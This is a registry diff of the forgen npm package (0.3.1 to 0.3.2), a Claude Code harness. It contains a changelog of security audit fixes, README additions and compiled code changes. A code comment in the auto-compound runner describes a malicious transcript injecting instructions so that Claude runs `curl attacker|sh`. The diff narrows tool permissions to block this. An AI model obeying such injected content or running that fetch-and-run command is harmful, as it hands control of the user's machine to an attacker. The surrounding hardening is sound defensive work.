@wooojin/forgen 0.3.1 → 0.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (72) hide show
  1. package/.claude-plugin/plugin.json +7 -2
  2. package/CHANGELOG.md +100 -0
  3. package/README.ja.md +29 -0
  4. package/README.ko.md +29 -0
  5. package/README.md +36 -3
  6. package/README.zh.md +29 -0
  7. package/dist/cli.js +3 -3
  8. package/dist/core/auto-compound-runner.js +6 -3
  9. package/dist/core/dashboard.js +11 -4
  10. package/dist/core/doctor.d.ts +6 -1
  11. package/dist/core/doctor.js +21 -1
  12. package/dist/core/global-config.d.ts +2 -2
  13. package/dist/core/global-config.js +6 -14
  14. package/dist/core/harness.d.ts +3 -5
  15. package/dist/core/harness.js +34 -338
  16. package/dist/core/installer.d.ts +10 -0
  17. package/dist/core/installer.js +185 -0
  18. package/dist/core/paths.d.ts +0 -34
  19. package/dist/core/paths.js +0 -35
  20. package/dist/core/settings-injector.d.ts +13 -0
  21. package/dist/core/settings-injector.js +167 -0
  22. package/dist/core/settings-lock.d.ts +35 -2
  23. package/dist/core/settings-lock.js +65 -7
  24. package/dist/core/spawn.js +100 -39
  25. package/dist/core/state-gc.d.ts +30 -0
  26. package/dist/core/state-gc.js +119 -0
  27. package/dist/core/uninstall.js +12 -4
  28. package/dist/core/v1-bootstrap.js +2 -2
  29. package/dist/engine/compound-cli.d.ts +27 -2
  30. package/dist/engine/compound-cli.js +69 -16
  31. package/dist/engine/compound-export.d.ts +15 -0
  32. package/dist/engine/compound-export.js +32 -5
  33. package/dist/engine/compound-loop.js +3 -2
  34. package/dist/engine/learn-cli.js +52 -0
  35. package/dist/engine/match-eval-log.js +45 -0
  36. package/dist/engine/solution-format.d.ts +0 -2
  37. package/dist/engine/solution-format.js +0 -4
  38. package/dist/engine/solution-matcher.d.ts +8 -0
  39. package/dist/engine/solution-matcher.js +7 -4
  40. package/dist/engine/solution-outcomes.d.ts +4 -0
  41. package/dist/engine/solution-outcomes.js +174 -97
  42. package/dist/engine/solution-writer.d.ts +8 -5
  43. package/dist/engine/solution-writer.js +43 -19
  44. package/dist/fgx.js +9 -2
  45. package/dist/forge/cli.js +7 -7
  46. package/dist/hooks/context-guard.js +15 -1
  47. package/dist/hooks/hook-config.d.ts +9 -1
  48. package/dist/hooks/hook-config.js +25 -3
  49. package/dist/hooks/internal/run-lifecycle-check.d.ts +2 -0
  50. package/dist/hooks/internal/run-lifecycle-check.js +32 -0
  51. package/dist/hooks/notepad-injector.js +6 -3
  52. package/dist/hooks/permission-handler.d.ts +10 -2
  53. package/dist/hooks/permission-handler.js +31 -12
  54. package/dist/hooks/pre-tool-use.js +10 -4
  55. package/dist/hooks/secret-filter.js +6 -0
  56. package/dist/hooks/session-recovery.js +15 -7
  57. package/dist/hooks/shared/hook-response.d.ts +0 -2
  58. package/dist/hooks/shared/hook-response.js +3 -8
  59. package/dist/hooks/shared/hook-timing.js +10 -1
  60. package/dist/hooks/solution-injector.d.ts +21 -0
  61. package/dist/hooks/solution-injector.js +60 -1
  62. package/dist/mcp/solution-reader.d.ts +2 -0
  63. package/dist/mcp/solution-reader.js +28 -1
  64. package/dist/mcp/tools.js +5 -2
  65. package/dist/preset/preset-manager.js +12 -2
  66. package/dist/store/evidence-store.js +5 -5
  67. package/dist/store/profile-store.d.ts +9 -0
  68. package/dist/store/profile-store.js +25 -4
  69. package/dist/store/rule-store.js +8 -8
  70. package/package.json +1 -1
  71. package/plugin.json +7 -2
  72. package/scripts/postinstall.js +52 -5
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "$schema": "https://claude.ai/schemas/claude-plugin.json",
3
3
  "name": "forgen",
4
- "version": "5.1.2",
4
+ "version": "0.3.2",
5
5
  "description": "Claude Code harness — the more you use Claude, the better it gets",
6
6
  "author": {
7
7
  "name": "jang-ujin",
@@ -10,7 +10,12 @@
10
10
  "repository": "https://github.com/wooo-jin/forgen",
11
11
  "homepage": "https://github.com/wooo-jin/forgen",
12
12
  "license": "MIT",
13
- "keywords": ["claude-code", "harness", "personalization", "forge"],
13
+ "keywords": [
14
+ "claude-code",
15
+ "harness",
16
+ "personalization",
17
+ "forge"
18
+ ],
14
19
  "skills": "./skills/",
15
20
  "agents": "agents/",
16
21
  "statusLine": {
package/CHANGELOG.md CHANGED
@@ -5,6 +5,106 @@ All notable changes to forgen will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [0.3.2] - 2026-04-21
9
+
10
+ ### Security — Audit findings landed
11
+
12
+ Independent read-only audit (docs/claude-audit-brief.md) surfaced 10 structural
13
+ issues plus 2 follow-up findings. All 12 are fixed with invariant tests.
14
+
15
+ **P0 — data loss / code injection**
16
+ - **Settings parse-failure data loss** (#2, #10): `settings-injector.ts` and
17
+ `scripts/postinstall.js` no longer silently replace a malformed settings.json
18
+ with `{}`. New `readSettingsSafely()` preserves the corrupt original to
19
+ `settings.json.corrupt-<ts>` and throws; writers release the lock and abort.
20
+ postinstall settings + `~/.claude.json` now use tmp-file + rename atomic write.
21
+ - **Code injection via node -e** (#5): `session-recovery.ts` no longer
22
+ interpolates a user-supplied sessionId into a `-e` template literal. A
23
+ dedicated runner at `dist/hooks/internal/run-lifecycle-check.js` reads the id
24
+ from argv — no shell, no eval surface.
25
+ - **solution-outcomes race** (#9): all pending-state mutations are now serialised
26
+ under `withFileLockSync` + `atomicWriteJSON`. Concurrent inject / correction /
27
+ error hooks on the same session no longer lose or duplicate events.
28
+ - **Archive path traversal** (follow-up #A): `compound-export.importKnowledge`
29
+ rejects entries whose resolved destination sits outside ME_DIR, including
30
+ sibling-directory prefix collisions (e.g. `../me-evil/…`).
31
+
32
+ **P1 — lock semantics, trust, uninstall, injection precision**
33
+ - **Settings-lock live-holder handling** (#1): acquireLock now throws
34
+ `SettingsLockError` on live-PID timeout instead of overwriting the lock;
35
+ releaseLock verifies ownership before deleting.
36
+ - **Trust silent escalation** (#3): `preset-manager.computeEffectiveTrust`
37
+ returns a `Trust 상승` warning when runtime is more permissive than desired;
38
+ harness surfaces it to the user; fgx cautions `가드레일 우선`/`승인 완화`
39
+ profile users.
40
+ - **Install/uninstall symmetry** (#7): `uninstall` now strips `FORGEN_*` env
41
+ keys (previously only `COMPOUND_*`) and recognises `forgen me` (previously
42
+ only `forgen status`) as the forgen-owned statusLine.
43
+ - **Legacy profile guard** (#6): `loadProfile` runs `isV1Profile` and returns
44
+ null on legacy shapes so bootstrap re-runs cutover instead of typing stale
45
+ JSON as v1.
46
+ - **secret-filter vendor tokens** (follow-up #B): GitHub PATs (ghp_/gho_/
47
+ ghs_/ghu_/ghr_), Google API keys (AIza…), and Slack tokens (xox[abpors]-…)
48
+ are now detected.
49
+
50
+ **P2 — label truth, transcript attribution**
51
+ - **permission-handler labels** (#4): `approve()`/`approveWithWarning()` never
52
+ set `permissionDecision: 'allow'`; they are pass-through. Log and API labels
53
+ renamed to `safe-pass-through` / `autopilot-warn-pass-through` /
54
+ `autopilot-pass-through` / `pass-through` so audit trails match reality.
55
+ - **Transcript per-session attribution** (#8): `spawn.ts` snapshots existing
56
+ transcripts before launching claude and diffs after exit; concurrent sessions
57
+ in the same cwd no longer cross-attribute. Transcript reading switched to
58
+ streaming (`createReadStream` + `readline`).
59
+
60
+ ### Added — Data hygiene
61
+
62
+ Field audit on a ~2-week-old install found 10,802 files in `~/.forgen/state/`
63
+ across 12 filename prefixes, 4.3 MB `match-eval-log.jsonl`, and 80% of
64
+ error-attribution events concentrated on 3 solutions injected at relevance
65
+ 0.15–0.21.
66
+
67
+ - `forgen doctor --prune-state` (new `src/core/state-gc.ts`): removes session-
68
+ scoped files older than 7 days (checkpoint-, injection-cache-, modified-
69
+ files-, outcome-pending-, permissions-, skill-trigger-, tool-state-,
70
+ reminder-, context-, last-). Aggregate jsonl logs are preserved.
71
+ - `solution-outcomes.attributeError` gates: match_score ≥ 0.3,
72
+ injection-lag ≤ 5 min, top-3 by relevance. Prevents blanket blaming of
73
+ every injected solution when a tool fails.
74
+ - `solution-injector.MIN_INJECT_RELEVANCE = 0.3` + multi-tag precision gate
75
+ (`matchedIdentifiers ≥ 1 OR matchedTags ≥ 2`): the matcher remains
76
+ permissive for recall@5; only the injection step enforces the stricter
77
+ gate. Zero single-tag high-score injections observed in the field corpus
78
+ after landing.
79
+ - `match-eval-log.jsonl` size-based rotation at 10 MB (one generation
80
+ retained).
81
+
82
+ ### Fixed — e2e test isolation
83
+
84
+ Docker-spawned hooks in `tests/e2e/*.test.ts` were writing session state
85
+ (`e2e-tool-chain`, `chain5-test`, etc.) into the developer's real
86
+ `~/.forgen/state/`. Each e2e file now allocates a fresh `mkdtempSync` HOME
87
+ and injects it into the spawn env; `afterAll` cleans up. Likewise
88
+ `tests/hook-response-tracking.test.ts` now mocks `node:os` so the tracking
89
+ log never lands outside `/tmp/`.
90
+
91
+ ### Fixed — Stale Docker verify checks
92
+
93
+ `tests/e2e/docker/verify.sh` was asserting three skills that were deleted in
94
+ commit f534227 (v0.3 quality refactor). Result goes from 62/4/6 to 63/0/6
95
+ without touching runtime code.
96
+
97
+ ### Notes
98
+
99
+ - All fixes confirmed via invariant tests (1732/1732 pass across 143 files),
100
+ 7 real-world attack scenarios (injection, concurrent mutation, corrupt
101
+ settings, path traversal, prune, doctor smoke), and Linux-clean-environment
102
+ Docker verification.
103
+ - Upgrade path from 0.3.1 verified (profile + solutions + non-forgen settings
104
+ byte-identical after upgrade).
105
+ - Windows code paths exist but runtime validation is deferred to GH Actions
106
+ Windows runner — see P-D note in release audit.
107
+
8
108
  ## [0.3.1] - 2026-04-16
9
109
 
10
110
  ### Added — Self-Evolving Harness (inspired by Stanford meta-harness)
package/README.ja.md CHANGED
@@ -131,6 +131,35 @@ forgen
131
131
  - **Node.js** >= 20(SQLite セッション検索には >= 22 を推奨)
132
132
  - **Claude Code** インストール・認証済み(`npm i -g @anthropic-ai/claude-code`)
133
133
 
134
+ > **ベンダー依存:** forgen は Claude Code をラップします。Anthropic API または Claude Code の変更が動作に影響する可能性があります。Claude Code 1.0.x でテスト済みです。
135
+
136
+ ---
137
+
138
+ ## なぜ forgen か
139
+
140
+ | | Generic Claude Code | oh-my-claudecode | forgen |
141
+ |------------------------|:-------------------:|:----------------:|:---------------:|
142
+ | 全員に同じ | Yes | Yes | **No** |
143
+ | 修正から学習 | No | No | **Yes** |
144
+ | エビデンスベースのライフサイクル| No | No | **Yes** |
145
+ | 悪いパターンを自動リタイア| No | No | **Yes** |
146
+ | パーソナライズされたルール| No | No | **Yes** |
147
+ | ランタイム依存関係 | - | many | **3** |
148
+
149
+ ### forgen が向いているケース
150
+
151
+ **向いている場合:**
152
+ - 数週間かけて Claude があなたのパターンを学習する長期プロジェクト
153
+ - AI の振る舞いに強いこだわりがある開発者
154
+ - Compound 知識の恩恵を受ける繰り返しパターンがあるコードベース
155
+
156
+ **向いていない場合:**
157
+ - 使い捨てのスクリプトや一時的なプロトタイプ
158
+ - Claude Code がない環境
159
+ - すべてのメンバーに同じ AI 動作が必要なチーム(forgen は個人用であり、チーム向けではありません)
160
+
161
+ **forgen + oh-my-claudecode:** 一緒に使えます。OMC はオーケストレーション(エージェント、ワークフロー)を、forgen はパーソナライゼーション(プロファイル、学習)を担当します。[共存ガイド](docs/guides/with-omc.md) を参照してください。
162
+
134
163
  ---
135
164
 
136
165
  ## 仕組み
package/README.ko.md CHANGED
@@ -131,6 +131,35 @@ forgen
131
131
  - **Node.js** >= 20 (SQLite 세션 검색은 >= 22 권장)
132
132
  - **Claude Code** 설치 및 인증 (`npm i -g @anthropic-ai/claude-code`)
133
133
 
134
+ > **벤더 의존성:** forgen은 Claude Code를 래핑합니다. Anthropic API 또는 Claude Code 변경이 동작에 영향을 줄 수 있습니다. Claude Code 1.0.x 기준으로 테스트되었습니다.
135
+
136
+ ---
137
+
138
+ ## 왜 forgen인가
139
+
140
+ | | Generic Claude Code | oh-my-claudecode | forgen |
141
+ |------------------------|:-------------------:|:----------------:|:---------------:|
142
+ | 모두에게 동일 | Yes | Yes | **No** |
143
+ | 교정에서 학습 | No | No | **Yes** |
144
+ | Evidence 기반 라이프사이클| No | No | **Yes** |
145
+ | 나쁜 패턴 자동 은퇴 | No | No | **Yes** |
146
+ | 개인화된 규칙 | No | No | **Yes** |
147
+ | 런타임 의존성 | - | many | **3** |
148
+
149
+ ### 언제 사용하면 좋은가
150
+
151
+ **잘 맞는 경우:**
152
+ - 몇 주에 걸쳐 Claude가 패턴을 학습하는 장기 프로젝트
153
+ - AI 행동 방식에 강한 선호가 있는 개발자
154
+ - Compound 지식의 혜택을 받는 반복 패턴이 있는 코드베이스
155
+
156
+ **맞지 않는 경우:**
157
+ - 일회성 스크립트나 임시 프로토타입
158
+ - Claude Code가 없는 환경
159
+ - 모든 구성원이 동일한 AI 행동이 필요한 팀 (forgen은 개인용이지, 팀용이 아님)
160
+
161
+ **forgen + oh-my-claudecode:** 함께 사용할 수 있습니다. OMC는 오케스트레이션(에이전트, 워크플로우)을, forgen은 개인화(프로필, 학습)를 담당합니다. [공존 가이드](docs/guides/with-omc.md)를 참고하세요.
162
+
134
163
  ---
135
164
 
136
165
  ## 동작 방식
package/README.md CHANGED
@@ -109,7 +109,7 @@ Facets are micro-adjusted based on accumulated evidence. If your corrections con
109
109
 
110
110
  ### Next session
111
111
 
112
- Updated rules are rendered with your corrections included. Compound knowledge is searchable via MCP. Claude gets better at being *your* Claude.
112
+ Updated rules are rendered with your corrections included. Compound knowledge is searchable via MCP. Retrieval precision grows as your personal accumulation grows — the mechanism is in place from day 1 (starter-pack covers common dev queries on a fresh install), and the signal-to-noise ratio improves over roughly 2–4 weeks of real use as low-fitness solutions are auto-demoted and your specific patterns get promoted.
113
113
 
114
114
  ---
115
115
 
@@ -131,6 +131,35 @@ forgen
131
131
  - **Node.js** >= 20 (>= 22 recommended for SQLite session search)
132
132
  - **Claude Code** installed and authenticated (`npm i -g @anthropic-ai/claude-code`)
133
133
 
134
+ > **Vendor dependency:** Forgen wraps Claude Code. Anthropic API or Claude Code changes may affect behavior. Tested with Claude Code 1.0.x.
135
+
136
+ ---
137
+
138
+ ## Why forgen
139
+
140
+ | | Generic Claude Code | oh-my-claudecode | forgen |
141
+ |------------------------|:-------------------:|:----------------:|:---------------:|
142
+ | Same for everyone | Yes | Yes | **No** |
143
+ | Learns from corrections| No | No | **Yes** |
144
+ | Evidence-based lifecycle| No | No | **Yes** |
145
+ | Auto-retires bad patterns| No | No | **Yes** |
146
+ | Personalized rules | No | No | **Yes** |
147
+ | Runtime dependencies | - | many | **3** |
148
+
149
+ ### When to use forgen
150
+
151
+ **Good fit:**
152
+ - Long-running projects where Claude learns your patterns over weeks
153
+ - Developers with strong preferences about how AI should behave
154
+ - Codebases with recurring patterns that benefit from compound knowledge
155
+
156
+ **Not a fit:**
157
+ - One-off scripts or throwaway prototypes
158
+ - Environments without Claude Code
159
+ - Teams that need identical AI behavior for all members (forgen is personal, not team-wide)
160
+
161
+ **forgen + oh-my-claudecode:** They work together. OMC provides orchestration (agents, workflows); forgen provides personalization (profile, learning). See [Coexistence Guide](docs/guides/with-omc.md).
162
+
134
163
  ---
135
164
 
136
165
  ## How It Works
@@ -209,12 +238,16 @@ solution-injector matches: starter-error-handling-patterns (0.70)
209
238
  Claude sees: "Matched solutions: error-handling-patterns [pattern|0.70]
210
239
  Use try/catch with specific error types. Always log original error..."
211
240
 
212
- Claude writes better error handling code, informed by your accumulated patterns.
241
+ Claude has your accumulated patterns in context while drafting the response.
213
242
  ```
214
243
 
244
+ Precision gates (v0.3.2+): matches below relevance 0.3 or with only a single
245
+ common-word tag overlap are filtered before injection so Claude's context
246
+ doesn't get polluted by low-signal hits.
247
+
215
248
  ### 10 built-in skills
216
249
 
217
- Curated, compound-native skills. Each one integrates with accumulated knowledge — they get better every session.
250
+ Curated, compound-native skills. Each integrates with your accumulated knowledge — effectiveness compounds as your personal solution base grows.
218
251
 
219
252
  **Core chain** (build → learn):
220
253
 
package/README.zh.md CHANGED
@@ -131,6 +131,35 @@ forgen
131
131
  - **Node.js** >= 20(SQLite 会话搜索推荐 >= 22)
132
132
  - **Claude Code** 已安装并认证(`npm i -g @anthropic-ai/claude-code`)
133
133
 
134
+ > **厂商依赖:** forgen 封装了 Claude Code。Anthropic API 或 Claude Code 的变更可能影响其行为。已在 Claude Code 1.0.x 版本下测试。
135
+
136
+ ---
137
+
138
+ ## 为什么选择 forgen
139
+
140
+ | | Generic Claude Code | oh-my-claudecode | forgen |
141
+ |------------------------|:-------------------:|:----------------:|:---------------:|
142
+ | 对所有人相同 | Yes | Yes | **No** |
143
+ | 从纠正中学习 | No | No | **Yes** |
144
+ | 基于证据的生命周期 | No | No | **Yes** |
145
+ | 自动淘汰不良模式 | No | No | **Yes** |
146
+ | 个性化规则 | No | No | **Yes** |
147
+ | 运行时依赖 | - | many | **3** |
148
+
149
+ ### 适用场景
150
+
151
+ **适合使用:**
152
+ - Claude 可以在数周内学习你的模式的长期项目
153
+ - 对 AI 行为方式有强烈偏好的开发者
154
+ - 有重复模式、能从 Compound 知识中获益的代码库
155
+
156
+ **不适合使用:**
157
+ - 一次性脚本或临时原型
158
+ - 没有 Claude Code 的环境
159
+ - 需要所有成员 AI 行为完全一致的团队(forgen 是个人化的,不面向团队)
160
+
161
+ **forgen + oh-my-claudecode:** 可以一起使用。OMC 负责编排(智能体、工作流); forgen 负责个性化(档案、学习)。详情请参阅 [共存指南](docs/guides/with-omc.md)。
162
+
134
163
  ---
135
164
 
136
165
  ## 工作原理
package/dist/cli.js CHANGED
@@ -159,10 +159,10 @@ const commands = [
159
159
  },
160
160
  {
161
161
  name: 'doctor',
162
- description: 'Diagnostics',
163
- handler: async (_args) => {
162
+ description: 'Diagnostics (--prune-state to GC stale session files)',
163
+ handler: async (args) => {
164
164
  const { runDoctor } = await import('./core/doctor.js');
165
- await runDoctor();
165
+ await runDoctor({ pruneState: args.includes('--prune-state') });
166
166
  },
167
167
  },
168
168
  // install --plugin 제거됨 — postinstall이 유일한 설치 경로
@@ -279,10 +279,13 @@ try {
279
279
  ---
280
280
  ${sanitizedSummary.slice(0, 6000)}
281
281
  ---`;
282
+ // P1-S1 fix (2026-04-20): 과거에는 `--allowedTools Bash`로 전체 Bash 권한을 줘서
283
+ // 악성 transcript(공급망 인젝션)가 filter를 우회해 `curl attacker|sh` 같은 명령을
284
+ // 피해자 권한으로 실행시킬 수 있었다. 이제 `Bash(forgen compound:*)`로 좁혀 Claude
285
+ // 가 compound 추출용 forgen CLI 호출만 가능하게 한다. filter-bypass 시에도 임의
286
+ // 명령 실행 차단.
282
287
  try {
283
- execClaudeRetry(['-p', solutionPrompt, '--allowedTools', 'Bash', '--model', COMPOUND_MODEL], {
284
- cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'],
285
- });
288
+ execClaudeRetry(['-p', solutionPrompt, '--allowedTools', 'Bash(forgen compound:*)', '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'] });
286
289
  }
287
290
  catch (e) {
288
291
  process.stderr.write(`[forgen-auto-compound] solution extraction: ${e instanceof Error ? e.message : String(e)}\n`);
@@ -13,7 +13,14 @@
13
13
  */
14
14
  import * as fs from 'node:fs';
15
15
  import * as path from 'node:path';
16
- import { ME_SOLUTIONS, ME_RULES, ME_BEHAVIOR, STATE_DIR, V1_EVIDENCE_DIR, } from './paths.js';
16
+ import { createRequire } from 'node:module';
17
+ // P0-1 fix (2026-04-20): ESM `"type": "module"` 프로젝트에서 `require`가 글로벌에
18
+ // 없어 이전에는 renderFitnessSummary 안의 `require('../engine/solution-fitness.js')`가
19
+ // 항상 ReferenceError로 catch 경로에 떨어져 Solution Fitness 대시보드 섹션이
20
+ // 조용히 무효화됐다 (정상처럼 "아직 outcome 이벤트 데이터 없음" 출력).
21
+ // createRequire로 CJS require를 ESM 환경에 부트스트랩 — session-store.ts 패턴 동일.
22
+ const require = createRequire(import.meta.url);
23
+ import { ME_SOLUTIONS, ME_RULES, ME_BEHAVIOR, STATE_DIR, } from './paths.js';
17
24
  import { parseFrontmatterOnly } from '../engine/solution-format.js';
18
25
  import { readMatchEvalLog } from '../engine/match-eval-log.js';
19
26
  // ── ANSI color helpers ──
@@ -361,11 +368,11 @@ export function collectLearningCurve() {
361
368
  const axisCounts = new Map();
362
369
  const uniqueDays = new Set();
363
370
  try {
364
- if (fs.existsSync(V1_EVIDENCE_DIR)) {
365
- const files = fs.readdirSync(V1_EVIDENCE_DIR).filter(f => f.endsWith('.json'));
371
+ if (fs.existsSync(ME_BEHAVIOR)) {
372
+ const files = fs.readdirSync(ME_BEHAVIOR).filter(f => f.endsWith('.json'));
366
373
  for (const f of files) {
367
374
  try {
368
- const data = JSON.parse(fs.readFileSync(path.join(V1_EVIDENCE_DIR, f), 'utf-8'));
375
+ const data = JSON.parse(fs.readFileSync(path.join(ME_BEHAVIOR, f), 'utf-8'));
369
376
  if (!data.timestamp)
370
377
  continue;
371
378
  const ts = new Date(data.timestamp).getTime();
@@ -1 +1,6 @@
1
- export declare function runDoctor(): Promise<void>;
1
+ export interface DoctorOptions {
2
+ /** When true, delete stale session-scoped state files instead of just
3
+ * reporting bloat. Triggered by `forgen doctor --prune-state`. */
4
+ pruneState?: boolean;
5
+ }
6
+ export declare function runDoctor(opts?: DoctorOptions): Promise<void>;
@@ -4,6 +4,7 @@ import * as path from 'node:path';
4
4
  import { execFileSync } from 'node:child_process';
5
5
  import { FORGEN_HOME, LAB_DIR, ME_BEHAVIOR, ME_DIR, ME_PHILOSOPHY, ME_SOLUTIONS, ME_RULES, ME_SKILLS, PACKS_DIR, SESSIONS_DIR, STATE_DIR } from './paths.js';
6
6
  import { getTimingStats } from '../hooks/shared/hook-timing.js';
7
+ import { countSessionScopedFiles, pruneState } from './state-gc.js';
7
8
  /** ~/.claude/projects/ — Claude Code 세션 저장 경로 */
8
9
  const CLAUDE_PROJECTS_DIR = path.join(os.homedir(), '.claude', 'projects');
9
10
  function check(label, condition, hint) {
@@ -24,7 +25,7 @@ function commandExists(cmd) {
24
25
  return false;
25
26
  }
26
27
  }
27
- export async function runDoctor() {
28
+ export async function runDoctor(opts = {}) {
28
29
  console.log('\n Forgen — Diagnostics\n');
29
30
  console.log(' [Tools]');
30
31
  check('claude CLI', commandExists('claude'));
@@ -305,6 +306,25 @@ export async function runDoctor() {
305
306
  }
306
307
  console.log();
307
308
  }
309
+ // State bloat check — session-scoped files accumulate until pruned.
310
+ console.log(' [State Hygiene]');
311
+ const sessionFiles = countSessionScopedFiles();
312
+ if (sessionFiles === 0) {
313
+ console.log(' ✓ no session-scoped state files');
314
+ }
315
+ else if (sessionFiles < 500) {
316
+ console.log(` ✓ ${sessionFiles} session-scoped files (under threshold)`);
317
+ }
318
+ else {
319
+ console.log(` ⚠ ${sessionFiles} session-scoped files (bloat threshold 500)`);
320
+ console.log(' Run: forgen doctor --prune-state (removes files older than 7 days)');
321
+ }
322
+ if (opts.pruneState) {
323
+ const report = pruneState({ dryRun: false });
324
+ const mb = (report.bytesFreed / 1024 / 1024).toFixed(2);
325
+ console.log(` → Pruned ${report.pruned}/${report.scanned} files (${mb} MB freed, >${report.retentionDays}d old)`);
326
+ }
327
+ console.log();
308
328
  // 현재 디렉토리 git 정보
309
329
  console.log(' [Git]');
310
330
  try {
@@ -37,7 +37,7 @@ export interface GlobalConfig {
37
37
  /** 레거시 마이그레이션 백업 경로 */
38
38
  legacy_backup?: string;
39
39
  }
40
- /** v1 config 로드 (~/.forgen/config.json 우선, 레거시 폴백) */
40
+ /** 글로벌 config 로드 (~/.forgen/config.json) */
41
41
  export declare function loadGlobalConfig(): GlobalConfig;
42
- /** v1 config 저장 (~/.forgen/config.json) */
42
+ /** 글로벌 config 저장 (~/.forgen/config.json) */
43
43
  export declare function saveGlobalConfig(config: GlobalConfig): void;
@@ -1,26 +1,18 @@
1
1
  import * as fs from 'node:fs';
2
2
  import * as path from 'node:path';
3
- import { GLOBAL_CONFIG, V1_GLOBAL_CONFIG } from './paths.js';
4
- /** v1 config 로드 (~/.forgen/config.json 우선, 레거시 폴백) */
3
+ import { GLOBAL_CONFIG } from './paths.js';
4
+ /** 글로벌 config 로드 (~/.forgen/config.json) */
5
5
  export function loadGlobalConfig() {
6
- // v1 경로 우선
7
- if (fs.existsSync(V1_GLOBAL_CONFIG)) {
8
- try {
9
- return JSON.parse(fs.readFileSync(V1_GLOBAL_CONFIG, 'utf-8'));
10
- }
11
- catch { /* fall through */ }
12
- }
13
- // 레거시 폴백
14
6
  if (fs.existsSync(GLOBAL_CONFIG)) {
15
7
  try {
16
8
  return JSON.parse(fs.readFileSync(GLOBAL_CONFIG, 'utf-8'));
17
9
  }
18
- catch { /* fall through */ }
10
+ catch { /* malformed use defaults */ }
19
11
  }
20
12
  return {};
21
13
  }
22
- /** v1 config 저장 (~/.forgen/config.json) */
14
+ /** 글로벌 config 저장 (~/.forgen/config.json) */
23
15
  export function saveGlobalConfig(config) {
24
- fs.mkdirSync(path.dirname(V1_GLOBAL_CONFIG), { recursive: true });
25
- fs.writeFileSync(V1_GLOBAL_CONFIG, JSON.stringify(config, null, 2));
16
+ fs.mkdirSync(path.dirname(GLOBAL_CONFIG), { recursive: true });
17
+ fs.writeFileSync(GLOBAL_CONFIG, JSON.stringify(config, null, 2));
26
18
  }
@@ -5,11 +5,9 @@
5
5
  * philosophy/scope/pack 의존 제거. Profile + Preset Manager + Rule Renderer.
6
6
  *
7
7
  * Module Structure:
8
- * - Lines 1-70: Imports, utility helpers
9
- * - Lines 70-220: injectSettings Claude Code settings.json injection
10
- * - Lines 220-400: Agent/skill installation helpers
11
- * - Lines 400-550: Rule file injection, gitignore, compound memory
12
- * - Lines 550+: prepareHarness — main orchestration
8
+ * - Lines 1-50: Imports, utility helpers
9
+ * - Lines 50-120: Rule file injection, gitignore, compound memory
10
+ * - Lines 120+: prepareHarness main orchestration
13
11
  */
14
12
  import { type RuntimeHost } from './types.js';
15
13
  import { rollbackSettings } from './settings-lock.js';